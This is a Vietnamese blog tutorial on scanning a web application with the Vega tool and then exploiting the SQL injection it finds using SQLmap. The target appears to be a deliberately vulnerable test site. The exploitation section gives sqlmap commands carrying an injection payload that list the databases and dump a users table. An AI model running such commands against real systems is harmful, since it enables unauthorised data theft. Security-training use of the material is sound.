Vega, SQLmap từ scan đến khai thác SQL injection

Scan web là gì

Scan web hay Web application scanning còn được gọi là quét ứng dụng web, mục đích của việc scan web là quét những lỗ hổng ứng dụng web, thu thập dữ liệu trang web để tìm những lỗ hổng trong các ứng dụng web.

Scanning software sau khi phân tích tất các page có thể truy cập sẽ xây dựng cấu trúc của toàn bộ trang web.

Scan web cũng có thể coi là một phần quan trọng trong bảo mật ứng dụng web, nó giúp các nhà phát triển ứng dụng web tìm ra những điểm yếu trong những dự án mà họ xây dựng.

Vega

Vega là một platform để kiểm tra tính bảo mật của một ứng dụng web applications. Vega được viết bằng Java, và chạy trên nhiều nền tảng khác nhau như Linux, OS X, Windows, được phát triển bởi Subgraph.

Vega có thể hoạt động như một proxy, hoặc như một ứng dụng quét tự động. Các modules có thể tự động gửi các requests để kiểm tra các lỗ hổng như XSS, SQL injection...

SQLmap

SQLmap là một công cụ mã nguồn mở, tự động kiểm tra và phát hiện lỗ hổng SQL injection, có thể chạy được trên nhiều nền tảng như Linux, Mac OS, Windows.

Cấu hình và scan

Trong bài viết này mình sử dụng tool Vega để thu thập lỗ hổng, dữ liệu của một trang web.

Trước khi thực hiện scan một trang web nào đó bạn cần nắm rõ mục đích và mong muốn thu thập những gì từ trang web đó để tối giản nhất trong việc scan.

1. Cấu hình

  • Chọn modules cần thiết

  • Hoàn tất cấu hình và bắt đầu quét

2. Thu thập kết quả

Sau khi quét xong chúng ta thấy các lỗ hổng ở từng mức độ khác nhau được thông kê chi tiết

Ở đây mình quét được một số lỗi như XSS, SQL injection, RFI

3. Khai thác

Trong bài này mình có dùng SQLmap để khai thác lỗi SQL injection mà mình đã quét được để xem độ hiểu quả của tool mình vừa dùng ở trên.

Hoàn toàn có thể xem được requests cũng nhưng response ở từng lỗ hổng một, đây là một requests và response của một lỗi SQL injection mà mình tìm được.

SQLmap là một công cụ mạnh và hữu ích cho việc khai thác lỗ hổng SQL injection

Dùng SQLmap để kiểm tra

sqlmap -u http://testphp.vulnweb.com/product.php?pic=7%20AND%201=2%20--%20 --keep-alive --random-agent
  • -u url cần quét
  • --keep-alive sử dụng HTTP(s) connections
  • --random-agent sử dụng HTTP User-Agent ngẫu nhiên

sqlmap -u http://testphp.vulnweb.com/product.php?pic=7%20AND%201=2%20--%20 --dbs
  • --dbs liệt kê các databases

Sau khi dùng SQLmap thì mình có được thông tin có 2 databases, thử xem database acuart có gì không nào.

sqlmap -u http://testphp.vulnweb.com/product.php?pic=7%20AND%201=2%20--%20 -D acuart --columns
  • -D chọn database để thao tác
  • --colmns liệt kê các columns

Cùng xem bảng users có những thông tin gì

sqlmap -u http://testphp.vulnweb.com/product.php?pic=7%20AND%201=2%20--%20 -D acuart -T users --dump
  • -T chọn bảng thực thi
  • --dump lấy các dữ liệu

Đây là ví dụ về 3 bảng mình lấy được, và còn rất nhiều bảng khác nữa qua đó thấy tool Vega cũng là một công cụ khá hay để quét ứng dụng web đấy chứ.

Kết luận

Vega còn một số tính năng nữa mà mình chưa khám phá hết, mình sẽ cố gắng tìm hiểu thêm để có thể chia sẻ cùng mọi người.

Hi vọng qua bài viết của mình các bạn có thể hiểu thêm về scan web, cách sử dụng tool Vega để quét một trang web nào đó, cũng như dùng SQLmap để khai thác những lỗi SQL injection mà các bạn quét được. Cảm ơn các bạn đã theo dõi bài viết của mình!

All Rights Reserved